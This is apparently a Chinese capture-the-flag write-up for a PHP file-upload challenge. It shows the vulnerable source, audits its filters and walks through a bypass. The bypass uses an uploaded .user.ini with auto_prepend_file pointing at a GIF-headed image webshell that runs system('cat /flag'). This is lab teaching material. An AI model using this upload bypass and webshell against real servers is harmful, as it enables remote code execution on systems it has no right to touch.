check in

题目源码:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>php

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

审计代码,分别存在文件大小WAF、文件后缀名检查WAF、文件内容审计WAF以及图片类型判断WAF。

稍微总结一下绕过方式,文件大小WAF比较简单,类型判断只要加个文件头content-type就可以了。

后缀名检查过滤了php脚本以及.htacess文件。

文件内容审计进一步过滤了php以及一句话木马的可能性,但是我们可以通过图片码来进行绕过,例如这样:

<script language='php'><scirpt>

但是又需要上传.htacess文件来对图片码进行php解析。

这里利用到了.user.ini文件。

自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别。

两个新的 INI 指令, user_ini.filenameuser_ini.cache_ttl 控制着用户 INI 文件的使用。

user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini

user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

简单来讲,就是在目录下的INI文件会被PHP进行扫描,如果扫描到了则被用于配置该文件目录。

我们可以在INI文件中设置当访问该目录下的文件时,该文件包含图片马并进行解析,这样就可以利用图片马了。

注意利用条件:只有在 CGI/FastCGI SAPI 模式的服务器上才能使用 .user.ini。

在.user.ini文件中有两个设置auto_prepend_fileauto_append_file

auto_prepend_file是在文件前插入文件;而auto_append_file在文件最后插入,类似于调用include进行文件包含。

有些时候,需要在文件前插入文件,以此来绕过死亡exit。

请注意,该利用方式需要文件目录下必须有一个可执行php文件,这样在该文件被访问时才会包含木马并被解析。这也提示我们,当文件上传目录下包含一个可执行php文件时,可以通过ini的方式进行利用。

上传.user.ini:

GIF89a
auto_prepend_file=shell.jpg

上传成功;接着上传图片马:

GIF89a
<script language='php'>system('cat /flag');</script>

Last updated